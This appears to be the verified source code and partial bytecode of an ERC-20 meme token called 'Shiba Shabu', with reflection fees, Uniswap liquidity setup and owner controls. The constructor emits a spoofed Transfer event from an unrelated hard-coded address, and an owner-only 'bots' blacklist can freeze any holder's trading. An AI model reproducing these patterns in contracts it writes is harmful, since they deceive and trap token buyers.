function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SHIBASHABU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Shiba Shabu";
string private constant _symbol = "SHIBSHABU";
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 5;
_teamFee = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 5;
_teamFee = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129f2565b6110da565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612898565b611226565b6040516104189190612f5f565b60405180910390f35b60606040518060400160405280600b81526020017f5368696261205368616275000000000000000000000000000000000000000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ebf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ebf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f5348494253484142550000000000000000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ebf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af290613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612ebf565b60405180910390fd5b601160149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612f3f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080fd5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e919061286f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061286f565b6040518363ffffffff1660e01b8152600401610e25929190612d0f565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e77919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612d61565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612d38565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d691906129c9565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612ebf565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612e7f565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b9190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612edf565b60405180910390fd5b6005600a81905550600a600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576005600a81905550600a600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e9f565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b91505092915050565b60008135905061280181613640565b92915050565b60008151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e957600080fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000